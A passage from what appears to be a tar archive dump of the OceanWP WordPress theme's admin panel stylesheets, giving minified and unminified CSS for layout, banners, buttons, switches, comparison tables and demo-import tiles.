.btn:focus,.oceanwp-tp-wrap .btn:hover,.oceanwp-tp-wrap .button-primary:focus,.oceanwp-tp-wrap .button-primary:hover,.oceanwp-tp-wrap .button:focus,.oceanwp-tp-wrap .button:hover{color:#fff;text-decoration:none;border-color:unset;box-shadow:unset;transition:all .3s;-o-transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;-ms-transition:all .3s}.oceanwp-tp-wrap .btn.blue,.oceanwp-tp-wrap .button.blue,.oceanwp-tp-wrap .button.button-primary{background-color:#06214e;padding:3px 24px}.oceanwp-tp-wrap .btn.blue:hover,.oceanwp-tp-wrap .button.blue:hover,.oceanwp-tp-wrap .button.button-primary:hover{background-color:#163c80}.oceanwp-tp-wrap .btn.yellow,.oceanwp-tp-wrap .button.yellow{background-color:#ffb100;padding:3px 24px;color:#06214e;border-color:transparent}#ocean-customizer-reset,#ocean-fonts-clear{margin-top:20px}#ocean-customizer-reset .btn,#ocean-fonts-clear .btn{font-family:Poppins,Sans-serif;font-size:14px;font-weight:500;background-color:#db2b39;color:#fff;border-radius:5px 5px 5px 5px;padding:12px 24px}#ocean-customizer-reset .btn:focus,#ocean-fonts-clear .btn:focus{box-shadow:unset}p.submit{text-align:right;margin-top:30px!important}#ocean-customizer-control h3,#ocean-elementor-widgets-items h3,#ocean-gutenberg-blocks-items h3,#ocean-metabox-items h3,#ocean-widget-items h3{margin-top:25px;color:#212121;font-family:Poppins,Sans-serif;font-size:15px;font-weight:500;order:2}#ocean-metabox-items span.desc{order:3}#ocean-customizer-control .column-wrap:not(#ocean-customizer-reset-bulk){width:100%}#ocean-elementor-widgets-items #ocean-elementor-widgets-query-post{display:none}#ocean-customizer-items,#ocean-elementor-library-tags-items,#ocean-elementor-widgets-items,#ocean-gutenberg-blocks-items,#ocean-metabox-items,#ocean-widget-items,.oceanwp-tp-recommended-plugins-section,.oceanwp-tp-useful-plugins-section{display:flex;flex-wrap:wrap;margin-top:30px}#ocean-customizer-items div,#ocean-elementor-library-tags-items div,#ocean-elementor-widgets-items div,#ocean-gutenberg-blocks-items div,#ocean-metabox-items div,#ocean-widget-items>div{flex-basis:28%;padding:20px;display:flex;align-content:center;align-items:flex-start;flex-direction:column}.oceanwp-tp-recommended-plugins-section>div,.oceanwp-tp-useful-plugins-section>div{flex-basis:42%;margin-bottom:10px}.oceanwp-switcher-block{align-self:flex-start}#oceanwp-tp-customizer .oceanwp-tp-block-image{margin-bottom:30px}#oceanwp-tp-customizer .oceanwp-tp-large-block{background-color:#f4f4f4;box-shadow:2px 4px 6px -4px rgb(0 0 0 / 50%);transition:background .3s,border .3s,border-radius .3s,box-shadow .3s;margin:30px;padding:50px;border-radius:15px 15px 15px 15px;display:flex;align-content:center;flex-direction:column;justify-content:flex-start}#oceanwp-import-file{margin-bottom:15px}.quick-settings-block{margin-top:30px}.quick-settings .column-wrap{width:100%}.quick-settings{display:flex;flex-wrap:wrap}.quick-settings>div{flex-basis:22%;margin-bottom:10px}.oceanwp-tp-quick-settings-block{background-color:#f4f4f4;box-shadow:2px 4px 6px -4px rgb(0 0 0 / 50%);transition:background .3s,border .3s,border-radius .3s,box-shadow .3s;margin:10px 10px 10px 10px;padding:20px 20px 20px 20px;border-radius:15px 15px 15px 15px}.oceanwp-tp-quick-settings-block .title{color:#212121;font-family:Poppins,Sans-serif;font-size:18px;font-weight:600;margin:10px 0 20px 0}#ocean-metabox-items span.desc,.oceanwp-tp-quick-settings-block p.desc{margin-bottom:20px;color:#606060;font-family:poppins,Sans-serif;font-size:14px}#oceanwp-tp-home .oceanwp-tp-large-block{background-color:#f4f4f4;box-shadow:2px 4px 6px -4px rgb(0 0 0 / 50%);transition:background .3s,border .3s,border-radius .3s,box-shadow .3s;margin:0 30px 30px 30px;padding:50px;border-radius:15px 15px 15px 15px}#oceanwp-tp-home .oceanwp-tp-block-title{margin:20px 0}#oceanwp-tp-help .oceanwp-tp-large-block .oceanwp-tp-block-title{margin-bottom:20px}.oceanwp-tp-top-panel,.oceanwp-tp-upgrade-button-wrap{display:flex;justify-content:flex-end}.oceanwp-tp-upgrade-button-wrap.last{justify-content:flex-start}.oceanwp-tp-top-panel-inner{display:flex;max-width:25%}.oceanwp-top-panel-image{width:22px;height:22px;margin:0 20px}#oceanwp-tp-changelog ul{margin-bottom:10px;border-bottom:1px solid #e1dcdc}#install-demos .theme-wrap{background-color:#f4f4f4;box-shadow:2px 4px 6px -4px rgb(0 0 0 / 50%);transition:background .3s,border .3s,border-radius .3s,box-shadow .3s;margin:10px 10px 10px 10px;padding:20px 20px 20px 20px;border-radius:15px 15px 15px 15px}#install-demos .themes{margin:5px}#install-demos .theme-id-container h2{color:#212121;font-family:Poppins,Sans-serif;font-size:18px;font-weight:600;margin:20px 0 50px 0}#install-demos .ocean-theme-actions,#install-demos .theme-id-container h2{text-align:center}#install-demos .theme-wrap{width:30%}#install-demos .theme-browser .theme{border:unset;box-shadow:unset}#install-demos .theme-browser .theme.focus:before,#install-demos .theme-browser .theme:hover:before{cursor:pointer;content:"Import";color:#fff;font-family:Poppins,Sans-serif;font-size:18px;font-weight:600;margin:20px 0 50px 0;position:absolute;top:25%;left:50%;transform:translateX(-50%);z-index:9999}#install-demos .theme.focus .theme-screenshot,#install-demos .theme:hover .theme-screenshot{background:#fff;box-shadow:inset 2000px 0 0 0 rgb(33 33 33 / 80%)}.oceanwp-notify{display:none;position:absolute;bottom:10px;right:20px;width:300px;color:#fff;text-align:left;background:rgba(92,184,17,.9);overflow:hidden;transition:height .2s;padding:15px}#oceanwp-notifyType:before{display:block;margin-top:15px}.oceanwp-notify.active{display:block;position:fixed;z-index:5000;font-size:16px}.row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.row:after,.row:before{display:table;content:" "}.clearfix:after,.container-fluid:after,.container:after,.row:after{clear:both}.oceanwp-tp-wrap h1,.oceanwp-tp-wrap h2,.oceanwp-tp-wrap h3,.oceanwp-tp-wrap h4,.oceanwp-tp-wrap h5,.oceanwp-tp-wrap h6,.oceanwp-tp-wrap ol,.oceanwp-tp-wrap p,.oceanwp-tp-wrap pre,.oceanwp-tp-wrap ul{margin-top:0}.oceanwp table{border-collapse:collapse}.oceanwp .table{width:100%;max-width:100%;margin-bottom:1rem;background-color:transparent}.oceanwp .table td,.oceanwp .table th{padding:.75rem;vertical-align:top;border-top:1px solid #dee2e6}.oceanwp .table thead th{vertical-align:bottom}.oceanwp .table tbody+tbody{border-top:2px solid #dee2e6}.oceanwp .table .thead-light th{color:#495057;background-color:#f0f0f0}.oceanwp .table-dark{color:#fff;background-color:#212529}.oceanwp .table-dark td,.oceanwp .table-dark th,.oceanwp .table-dark thead th{border-color:#32383e}.oceanwp .table-dark.table-bordered{border:0}.oceanwp .table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,.05)}.oceanwp .table-dark.table-hover tbody tr:hover{background-color:rgba(255,255,255,.075)}.table td:first-child{width:33%}.table td.help{width:20px;padding-right:0;padding-left:0}.status-state{width:20px;height:20px;display:inline-block;vertical-align:bottom}.status-state .spinner{float:none;margin:0}.status-true{background:url(../../assets/images/icons/check-mark.svg) no-repeat;background-size:contain}.status-false{background:url(../../assets/images/icons/x-mark.svg) no-repeat;background-size:contain}.status-invisible{visibility:hidden;position:absolute;left:0;top:0}#oceanwp-textarea--get-system-report{display:none;margin:10px 0;padding:0;position:relative}#oceanwp-textarea--get-system-report textarea{font-family:monospace;width:100%;margin:0;height:300px;padding:20px;border-radius:0;resize:none;font-size:12px;line-height:20px;outline:0;margin-bottom:15px}#get-system-report-button.oceanwp-button--get-system-report{float:right;margin:20px 0}.rtl .oceanwp-button--get-system-report{left:25px;right:initial}.oceanwp-wrap code{font-size:87.5%;color:#e83e8c;word-break:break-word}.oceanwp-tp-wrap .pro-plugins-update-notice{padding:10px 20px}.oceanwp-tp-tooltip{display:none}.oceanwp-tp-wrap .button.upgrade-button{background:rgba(92,184,17,.9);border-radius:3px;padding:5px 15px}#oceanwp-tp-white-label input[type=text],#oceanwp-tp-white-label textarea{min-width:400px}#oceanwp-tp-white-label th{min-width:220px}#oceanwp-tp-white-label #oceanwp_branding_screenshot_tr img{width:100%}#oceanwp-tp-white-label.oceanwp-tp-pane-box input[type=checkbox]~p:not(.oceanwp-tp-block-description){display:inline-block}.oceanwp-tp-preloader{display:none}.oceanwp-tp-panes.loading-pane .oceanwp-tp-preloader{display:block;opacity:.7;position:fixed;left:0;top:0;z-index:1001;background:#fafafa;height:100vh;width:100vw;overflow:hidden}.oceanwp-tp-loader{position:relative;top:50%;left:50%;height:5rem;width:5rem;border-radius:50%;border:10px solid #ffb100;border-top-color:#06214e;box-sizing:border-box;background:0 0;animation:loading 1s linear infinite}@keyframes loading{0%{transform:rotate(0)}0%{transform:rotate(360deg)}}@media (min-width:768px) and (max-width:1024px){.oceanwp-tp-top-panel-inner{max-width:unset}.oceanwp-tp-panes{margin-left:180px}.oceanwp-tp-wrap{max-width:unset;min-width:unset}a.oceanwp-tp-sidebar-link{margin:15px 20px 15px 8px;font-size:16px}#ocean-customizer-items,#ocean-elementor-widgets-items,#ocean-gutenberg-blocks-items,#ocean-metabox-items,#ocean-widget-items,.oceanwp-tp-recommended-plugins-section,.oceanwp-tp-useful-plugins-section{justify-content:space-between}#ocean-customizer-items div,#ocean-elementor-widgets-items div,#ocean-gutenberg-blocks-items div,#ocean-metabox-items div,#ocean-widget-items>div{flex-basis:38%}#install-demos .theme-wrap{width:40%}.oceanwp-tp-recommended-plugins-section>div,.oceanwp-tp-useful-plugins-section>div{flex-basis:100%}#oceanwp-tp-white-label th{min-width:auto}#oceanwp-tp-help .oceanwp-tp-help-section{display:block}.quick-settings>div{flex-basis:43%}}@media (min-width:320px) and (max-width:480px){.oceanwp-tp-header{display:flex;flex-direction:column;padding:0}.oceanwp-tp-branding{display:flex;flex-direction:column;align-items:center}.oceanwp-tp-branding strong{padding-left:0}.oceanwp-tp-sidebar{width:auto;float:none;position:relative}.oceanwp-tp-panes{margin-left:0;width:auto}.oceanwp-tp-wrap{min-width:auto}.oceanwp-tp-theme-version{align-self:flex-end}.oceanwp-tp-top-panel,.oceanwp-tp-upgrade-button-wrap{justify-content:flex-start}.oceanwp-tp-pane-box{padding:10px}#oceanwp-tp-home .oceanwp-tp-large-block{margin:20px;padding:20px}.quick-settings>div{flex-basis:100%}#oceanwp-tp-customizer .oceanwp-tp-large-block{margin:20px;padding:15px}#ocean-customizer-items div,#ocean-elementor-widgets-items div,#ocean-gutenberg-blocks-items div,#ocean-metabox-items div,#ocean-widget-items>div{flex-basis:100%}#install-demos .theme-wrap{width:100%}.oceanwp-tp-recommended-plugins-section>div,.oceanwp-tp-useful-plugins-section>div{flex-basis:100%}.col{flex-basis:fit-content}}themepanel/assets/css/theme-panel.css000064400000066147151551031110013700 0ustar00#wrap { margin-top: 20px; } #wrap>h1 { display: none; } .oceanwp-tp-wrap { margin: 20px 0 20px 0; overflow-x: hidden; max-width: 1220px; min-width: 850px; display: block !important; } .oceanwp-tp-wrap .btn-primary.disabled, .oceanwp-tp-wrap .btn-primary:disabled { color: #ffffff !important; } .oceanwp-tp-wrap div { -webkit-box-sizing: border-box; box-sizing: border-box; } .oceanwp-tp-wrap a, .oceanwp-tp-plugin-item { transition: all 0.1s ease-in-out; -webkit-transition: all 0.1s ease-in-out; -moz-transition: all 0.1s ease-in-out; -ms-transition: all 0.1s ease-in-out; -o-transition: all 0.1s ease-in-out; } .oceanwp-tp-wrap p { font-size: 16px; } .oceanwp-tp-wrap a, .oceanwp-tp-wrap a:hover, .oceanwp-tp-wrap a:active { color: #606060; text-decoration: none; } .oceanwp-tp-wrap p a, .oceanwp-tp-wrap p a:hover, .oceanwp-tp-wrap p a:active, .oceanwp-tp-wrap h3 a, .oceanwp-tp-wrap h3 a:hover, .oceanwp-tp-wrap h3 a:active { color: #007bff; text-decoration: none; } a:not(.button):not(.btn):not(.top-bar-links):not(.banner-button)[target="_blank"]:after { font-family: dashicons; content: "\f103"; font-size: 13px; } /** Control panel Header **/ .oceanwp-tp-header { background: #161D30; width: 100%; padding: 15px 0px 15px 20px; border-top-right-radius: 6px; border-top-left-radius: 6px; } .oceanwp-tp-oceanwp-logo { display: inline-block; margin-top: 5px; background: url(../../../assets/images/logo.png) no-repeat center center; float: left; width: 170px; height: 50px; } .rtl .oceanwp-tp-oceanwp-logo { float: right; } .oceanwp-tp-branding strong { line-height: 55px; vertical-align: middle; padding-left: 25px; display: inline-block; float: left; margin-bottom: 0px; color: #FFFFFF; font-family: "Rubik", Sans-serif; font-size: 25px; font-weight: 400; margin-top: 2px; } .rtl .oceanwp-tp-branding strong { float: right; padding-right: 15px; padding-left: 0; } .oceanwp-tp-theme-version { float: right; line-height: 55px; display: inline-block; color: #F0F0F0; font-family: "Rubik", Sans-serif; font-size: 16px; font-weight: 400; padding-right: 25px; margin-top: 3px; } .rtl .oceanwp-tp-theme-version { float: left; } /***/ .oceanwp-tp-container { border-bottom-left-radius: 6px; border-bottom-right-radius: 6px; overflow: hidden; position: relative; border: 1px solid #e5e5e5; } .oceanwp-tp-sidebar { background-color: #F0F0F0; border-right: 1px solid #e5e5e5; width: 215px; float: left; height: 100%; padding-bottom: 50px; position: absolute; left: 0; top: 0; } .rtl .oceanwp-tp-sidebar { left: initial; right: 0; float: right; border-left: 1px solid #e5e5e5; border-right: 0; } .oceanwp-tp-sidebar-list { display: block; list-style: none; padding-top: 5px; } .oceanwp-tp-sidebar-list-items { margin: 0; } a.oceanwp-tp-sidebar-link { color: #212121; text-transform: capitalize; display: inline-block; text-decoration: none; margin: 15px 20px; font-family: "Rubik", Sans-serif; font-size: 18px; font-weight: 400; } a.oceanwp-tp-sidebar-link:focus { text-decoration: none; color: #069fdb; box-shadow: unset; } .oceanwp-tp-sidebar-link:hover { color: #069fdb; text-decoration-style: dashed; text-underline-position: under; transition: all 0.3s; -o-transition: all 0.3s; -webkit-transition: all 0.3s; -moz-transition: all 0.3s; -ms-transition: all 0.3s; } .oceanwp-tp-sidebar-list-items.oceanwp-is-active .oceanwp-tp-sidebar-link { color: #069fdb; text-decoration-style: dashed; text-underline-position: under; box-shadow: unset; } /** Panes **/ .oceanwp-tp-panes { background-color: #fff; float: left; min-height: 750px; padding-bottom: 50px; position: relative; margin-left: 200px; width: calc(100% - 200px); } .rtl .oceanwp-tp-panes { margin-left: initial; margin-right: 200px; float: right; } .oceanwp-tp-panes.loading-pane { opacity: 0.7; } .oceanwp-tp-pane-box { padding: 49px; } .oceanwp-tp-pane-box:first-of-type { display: block; } .oceanwp-tp-pane-box>h3 { font-size: 26px; color: #343a40; margin-bottom: 20px; } .oceanwp-tp-pane-box p:not(.oceanwp-tp-block-description) { margin: 0; } .oceanwp-tp-message-heading-block { display: flex; align-items: center; margin-top: 30px; } .oceanwp-tp-block-outer { display: flex; } .oceanwp-tp-pane-box .oceanwp-tp-wide-block:not(:first-child) { margin-top: 30px; } .oceanwp-tp-wide-block .oceanwp-tp-block-outer { align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; padding-bottom: 20px; } .ocean-tp-heading-image { margin-right: 25px; } .oceanwp-tp-message-heading { margin-bottom: 0; color: #212121; font-family: poppins, Sans-serif; font-size: 22px; font-weight: 600; } .oceanwp-tp-large-block { background-color: #f4f4f4; box-shadow: 2px 4px 6px -4px rgb(0 0 0 / 50%); transition: background .3s, border .3s, border-radius .3s, box-shadow .3s; margin: 30px; padding: 25px; border-radius: 15px 15px 15px 15px; } .oceanwp-tp-block-inner { margin-left: 15px; } .oceanwp-tp-block-title, h1#oceanwp-changelog, #oceanwp-tp-changelog h3, #oceanwp-tp-customizer .oceanwp-tp-block-title { margin-bottom: 10px; color: #212121; font-family: poppins, Sans-serif; font-size: 18px; font-weight: 600; } .oceanwp-tp-wide-block .oceanwp-tp-block-title { margin-bottom: 0px; color: #212121; font-family: "Poppins", Sans-serif; font-size: 22px; font-weight: 600; } #oceanwp-tp-extra-settings .oceanwp-tp-wide-block .oceanwp-tp-block-title:not(.main-heading), #oceanwp-tp-admin-settings .oceanwp-tp-wide-block .oceanwp-tp-block-title:not(.main-heading), #oceanwp-tp-ocean-elementor-library .oceanwp-tp-wide-block .oceanwp-tp-block-title:not(.main-heading) { font-size: 18px; } .oceanwp-tp-small-block { background-color: #f4f4f4; box-shadow: 2px 4px 6px -4px rgb(0 0 0 / 50%); transition: background .3s, border .3s, border-radius .3s, box-shadow .3s; margin: 20px; padding: 10px; border-radius: 15px 15px 15px 15px; } .oceanwp-tp-small-block-title { margin-bottom: 5px; color: #212121; font-family: poppins, Sans-serif; font-size: 16px; font-weight: 600; } .oceanwp-tp-block-image { width: 42px; height: 42px; } .oceanwp-tp-block-image-small { width: 34px; height: 34px; } .oceanwp-tp-wide-block-image { width: 60px; height: 60px; margin-right: 25px; } .oceanwp-tp-block-description, p.oceanwp-tp-block-description { color: #606060; font-family: poppins, Sans-serif; font-size: 15px; } #oceanwp-tp-useful-plugins .oceanwp-tp-block-description, #oceanwp-tp-useful-plugins p.oceanwp-tp-block-description { line-height: 1.5; min-height: 6em; } .alert.oceanwp-tp-block-description, p.alert.oceanwp-tp-block-description { color: #bd3434; } h3.oceanwp-tp-block-description, #oceanwp-tp-integration p.oceanwp-tp-block-description, #oceanwp-tp-install-demos p.oceanwp-tp-block-description, #oceanwp-tp-home p strong { color: #606060; font-family: poppins, Sans-serif; font-size: 16px; font-weight: 400; line-height: 1.3em; } /** Banner **/ .oceanwp-tp-banner { background-position: center center; background-size: cover; transition: background .3s, border .3s, border-radius .3s, box-shadow .3s; margin-top: 20px; margin-bottom: 20px; padding: 50px 30px; border-radius: 15px 15px 15px 15px; box-shadow: inset 2000px 0 0 0 rgba(33, 33, 33, 0.7); border-color: rgba(33, 33, 33, 1); } .oceanwp-tp-banner.help { background-image: url('../../../assets/images/banners/help.jpg'); } .oceanwp-tp-banner.gunetberg-blocks { background-image: url('../../../assets/images/banners/gunetberg-blocks.jpg'); margin-bottom: 50px; box-shadow: inset 2000px 0 0 0 rgb(33 33 33 / 80%); } .oceanwp-tp-banner.elementor-widgets { background-image: url('../../../assets/images/banners/elementor-widgets.jpg'); margin-bottom: 50px; } .oceanwp-tp-banner.elementor-library { background-image: url('../../../assets/images/banners/elementor-library.jpg'); margin-bottom: 50px; } .oceanwp-tp-banner.ocean-images { background-image: url('../../../assets/images/banners/ocean-images.jpg'); margin-bottom: 50px; box-shadow: inset 2000px 0 0 0 rgb(33 33 33 / 80%); } .oceanwp-tp-banner.install-demos { background-image: url('../../../assets/images/banners/install-demos.jpg'); margin-bottom: 50px; } .oceanwp-tp-banner.admin-settings { background-image: url('../../../assets/images/banners/admin-settings.jpg'); margin-bottom: 50px; } .oceanwp-tp-banner.home { background-image: url('../../../assets/images/banners/home.jpg'); margin-bottom: 50px; } .oceanwp-tp-banner.useful-plugins { background-image: url('../../../assets/images/banners/useful-plugins.jpg'); margin-bottom: 50px; } .oceanwp-tp-banner.white-label { background-image: url('../../../assets/images/banners/white-label.jpg'); margin-bottom: 50px; box-shadow: inset 2000px 0 0 0 rgb(33 33 33 / 65%); } h1.banner-header { color: #ffb100; font-family: poppins, Sans-serif; font-size: 25px; font-weight: 600; } .banner-subheader { color: #fff; font-family: poppins, Sans-serif; font-size: 17px; font-weight: 300; } #oceanwp-tp-home h2.banner-subheader { margin: 10px 0 40px 0; } a.banner-button { font-family: poppins, Sans-serif; font-size: 15px; font-weight: 600; text-transform: uppercase; color: #212121; background-color: #ffb100; border-radius: 8px 8px 8px 8px; padding: 12px 24px; display: inline-block; margin-top: 20px; } #oceanwp-tp-help a.banner-button { margin-top: 40px; } .oceanwp-icon-check-solid { width: 16px; height: 16px; background-image: url('../../../assets/images/check.svg'); display: inline-block; } .oceanwp-tp-pane-features { margin-top: 30px; } #oceanwp-tp-home .oceanwp-tp-pane-features { padding: 15px; } .oceanwp-tp-pane-features li:not(:last-child) { padding-bottom: 4px; } .oceanwp-tp-pane-features li span { font-family: poppins, Sans-serif; font-size: 16px; font-weight: 500; color: #FFFFFF; } /** Free vs Pro **/ .oceanwp-tp-sidebar-link.oceanwp-sidebar-item-colored { color: #f23c97; } .oceanwp-ct-legend { display: flex; align-content: center; justify-content: space-between; align-items: center; flex-wrap: wrap; padding-bottom: 35px; } .oceanwp-ct-legend .legend-cell { display: flex; align-items: center; align-content: center; justify-content: center; } .oceanwp-ct-legend .legend-cell h3 { margin-top: 0; } .oceanwp-ct-legend .elementor-image-box-title { margin-left: 15px; } .oceanwp-ct-legend h3 { margin-bottom: 0px; font-size: 16px; font-weight: 500; } .oceanwp-comparison-table ul { margin: 0 0 50px 0; } .oceanwp-comparison-table ul:last-of-type { margin-bottom: 0; } .oceanwp-comparison-table ul li { display: grid; grid-template-columns: 3fr 1fr 1fr; padding: 15px 18px; font-size: 14px; align-items: center; margin-top: 7px; } .oceanwp-comparison-table ul li:not(:first-child) { border-bottom: 1px dashed rgba(226, 230, 235, 0.7); } .oceanwp-comparison-table ul li span:first-child { text-align: left; } .oceanwp-comparison-table .ct-table-heading { position: sticky; top: 50px; border-radius: 3px; background: #F0F0F0; } .oceanwp-comparison-table .ct-table-heading span, .oceanwp .table thead th { color: #212121; font-family: "Poppins", Sans-serif; font-size: 18px; font-weight: 600; } .oceanwp-ct-legend .oceanwp-ct-legend-heading { color: #212121; font-family: "Poppins", Sans-serif; font-size: 18px; font-weight: 600; } .oceanwp-comparison-table ul li>span, .oceanwp .table td { color: #212121; font-family: "Poppins", Sans-serif; font-size: 16px; font-weight: 500; } .oceanwp-comparison-table .ct-table-heading:before { position: absolute; z-index: -1; content: ''; top: -31px; left: 0; right: 0; height: 30px; background: #fff; } .oceanwp-ct-remark { padding: 10px; } .oceanwp-ct-remark.footer { display: flex; justify-content: flex-end; } .oceanwp-ct-remark h2 { color: #606060; font-family: "Poppins", Sans-serif; font-size: 16px; font-weight: 500; } .oceanwp-cancel-icon { width: 32px !important; height: 32px; background-image: url('../../../assets/images/icons/cancel.png'); display: inline-block; } .oceanwp-tick-icon { width: 32px !important; height: 32px; background-image: url('../../../assets/images/icons/tick.png'); display: inline-block; } .oceanwp-limited-icon { width: 32px !important; height: 32px; background-image: url('../../../assets/images/icons/limited.png'); display: inline-block; } #oceanwp-tp-comparison .oceanwp-tp-small-block-image { width: 64px; height: 64px; } #oceanwp-tp-comparison .oceanwp-tp-small-block { margin: 20px 20px 20px 20px; padding: 10px 10px 10px 10px; border-radius: 15px 15px 15px 15px; } /** Theme Panel Switcher **/ .oceanwp-tp-switcher { position: relative; display: inline-block; width: 60px; height: 34px; order: 1; } .oceanwp-tp-switcher input { opacity: 0; width: 0; height: 0; } input:checked+.slider { background-color: #256077; } input:focus+.slider { box-shadow: 0 0 1px #256077; } input:checked+.slider:before { -webkit-transform: translateX(26px); -ms-transform: translateX(26px); transform: translateX(26px); } .slider.round { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background-color: #ccc; -webkit-transition: .4s; transition: .4s; border-radius: 34px; } .slider.round:before { border-radius: 50%; position: absolute; content: ""; height: 26px; width: 26px; left: 4px; bottom: 4px; background-color: white; -webkit-transition: .4s; transition: .4s; } /** Buttons **/ .oceanwp-tp-wrap .btn, .oceanwp-tp-wrap .button, .oceanwp-tp-wrap .button-primary { font-family: "Poppins", Sans-serif; font-size: 14px; font-weight: 500; background-color: #256077; color: #FFFFFF; border-radius: 5px 5px 5px 5px; border-color: unset; } .oceanwp-tp-wrap .btn:hover, .oceanwp-tp-wrap .button:hover, .oceanwp-tp-wrap .button-primary:hover, .oceanwp-tp-wrap .btn:focus, .oceanwp-tp-wrap .button:focus, .oceanwp-tp-wrap .button-primary:focus { color: #FFFFFF; text-decoration: none; border-color: unset; box-shadow: unset; transition: all 0.3s; -o-transition: all 0.3s; -webkit-transition: all 0.3s; -moz-transition: all 0.3s; -ms-transition: all 0.3s; } .oceanwp-tp-wrap .btn.blue, .oceanwp-tp-wrap .button.blue, .oceanwp-tp-wrap .button.button-primary { background-color: #06214E; padding: 3px 24px; } .oceanwp-tp-wrap .btn.blue:hover, .oceanwp-tp-wrap .button.blue:hover, .oceanwp-tp-wrap .button.button-primary:hover { background-color: #163c80; } .oceanwp-tp-wrap .btn.yellow, .oceanwp-tp-wrap .button.yellow { background-color: #ffb100; padding: 3px 24px; color: #06214E; border-color: transparent; } #ocean-customizer-reset, #ocean-fonts-clear { margin-top: 20px; } #ocean-customizer-reset .btn, #ocean-fonts-clear .btn { font-family: "Poppins", Sans-serif; font-size: 14px; font-weight: 500; background-color: #DB2B39; color: #FFFFFF; border-radius: 5px 5px 5px 5px; padding: 12px 24px; } #ocean-customizer-reset .btn:focus, #ocean-fonts-clear .btn:focus { box-shadow: unset; } p.submit { text-align: right; margin-top: 30px !important; } /** Customizer **/ #ocean-customizer-control h3, #ocean-gutenberg-blocks-items h3, #ocean-elementor-widgets-items h3, #ocean-metabox-items h3, #ocean-widget-items h3 { margin-top: 25px; color: #212121; font-family: "Poppins", Sans-serif; font-size: 15px; font-weight: 500; order: 2; } #ocean-metabox-items span.desc { order: 3; } #ocean-customizer-control .column-wrap:not(#ocean-customizer-reset-bulk) { width: 100% } #ocean-elementor-widgets-items #ocean-elementor-widgets-query-post { display: none; } #ocean-customizer-items, #ocean-gutenberg-blocks-items, #ocean-elementor-widgets-items, #ocean-widget-items, #ocean-metabox-items, #ocean-elementor-library-tags-items, .oceanwp-tp-useful-plugins-section, .oceanwp-tp-recommended-plugins-section { display: flex; flex-wrap: wrap; margin-top: 30px; } #ocean-customizer-items div, #ocean-gutenberg-blocks-items div, #ocean-elementor-widgets-items div, #ocean-widget-items>div, #ocean-elementor-library-tags-items div, #ocean-metabox-items div { flex-basis: 28%; padding: 20px; display: flex; align-content: center; align-items: flex-start; flex-direction: column; } .oceanwp-tp-useful-plugins-section>div, .oceanwp-tp-recommended-plugins-section>div { flex-basis: 42%; margin-bottom: 10px; } .oceanwp-switcher-block { align-self: flex-start; } #oceanwp-tp-customizer .oceanwp-tp-block-image { margin-bottom: 30px; } #oceanwp-tp-customizer .oceanwp-tp-large-block { background-color: #f4f4f4; box-shadow: 2px 4px 6px -4px rgb(0 0 0 / 50%); transition: background .3s, border .3s, border-radius .3s, box-shadow .3s; margin: 30px; padding: 50px; border-radius: 15px 15px 15px 15px; display: flex; align-content: center; flex-direction: column; justify-content: flex-start; } #oceanwp-import-file { margin-bottom: 15px; } /** HOME **/ .quick-settings-block { margin-top: 30px; } .quick-settings .column-wrap { width: 100% } .quick-settings { display: flex; flex-wrap: wrap; } .quick-settings>div { flex-basis: 22%; margin-bottom: 10px; } .oceanwp-tp-quick-settings-block { background-color: #f4f4f4; box-shadow: 2px 4px 6px -4px rgb(0 0 0 / 50%); transition: background .3s, border .3s, border-radius .3s, box-shadow .3s; margin: 10px 10px 10px 10px; padding: 20px 20px 20px 20px; border-radius: 15px 15px 15px 15px; } .oceanwp-tp-quick-settings-block .title { color: #212121; font-family: "Poppins", Sans-serif; font-size: 18px; font-weight: 600; margin: 10px 0 20px 0; } #ocean-metabox-items span.desc, .oceanwp-tp-quick-settings-block p.desc { margin-bottom: 20px; color: #606060; font-family: poppins, Sans-serif; font-size: 14px; } #oceanwp-tp-home .oceanwp-tp-large-block { background-color: #f4f4f4; box-shadow: 2px 4px 6px -4px rgb(0 0 0 / 50%); transition: background .3s, border .3s, border-radius .3s, box-shadow .3s; margin: 0 30px 30px 30px; padding: 50px; border-radius: 15px 15px 15px 15px; } #oceanwp-tp-home .oceanwp-tp-block-title { margin: 20px 0; } #oceanwp-tp-help .oceanwp-tp-large-block .oceanwp-tp-block-title { margin-bottom: 20px; } .oceanwp-tp-top-panel, .oceanwp-tp-upgrade-button-wrap { display: flex; justify-content: flex-end; } .oceanwp-tp-upgrade-button-wrap.last { justify-content: flex-start; } .oceanwp-tp-top-panel-inner { display: flex; max-width: 25%; } .oceanwp-top-panel-image { width: 22px; height: 22px; margin: 0 20px; } /** Changelog **/ #oceanwp-tp-changelog ul { margin-bottom: 10px; border-bottom: 1px solid #e1dcdc; } /** Install Demos **/ #install-demos .theme-wrap { background-color: #F4F4F4; box-shadow: 2px 4px 6px -4px rgb(0 0 0 / 50%); transition: background 0.3s, border 0.3s, border-radius 0.3s, box-shadow 0.3s; margin: 10px 10px 10px 10px; padding: 20px 20px 20px 20px; border-radius: 15px 15px 15px 15px; } #install-demos .themes { margin: 5px; } #install-demos .theme-id-container h2 { color: #212121; font-family: "Poppins", Sans-serif; font-size: 18px; font-weight: 600; margin: 20px 0 50px 0; } #install-demos .theme-id-container h2, #install-demos .ocean-theme-actions { text-align: center; } #install-demos .theme-wrap { width: 30%; } #install-demos .theme-browser .theme { border: unset; box-shadow: unset; } #install-demos .theme-browser .theme.focus:before, #install-demos .theme-browser .theme:hover:before { cursor: pointer; content: "Import"; color: #FFFFFF; font-family: "Poppins", Sans-serif; font-size: 18px; font-weight: 600; margin: 20px 0 50px 0; position: absolute; top: 25%; left: 50%; transform: translateX(-50%); z-index: 9999; } #install-demos .theme.focus .theme-screenshot, #install-demos .theme:hover .theme-screenshot { background: #fff; box-shadow: inset 2000px 0 0 0 rgb(33 33 33 / 80%); } /** Save settings Notification Panel **/ .oceanwp-notify { display: none; position: absolute; bottom: 10px; right: 20px; width: 300px; color: white; text-align: left; background: rgba(92, 184, 17, 0.9); overflow: hidden; transition: height .2s; padding: 15px; } #oceanwp-notifyType:before { display: block; 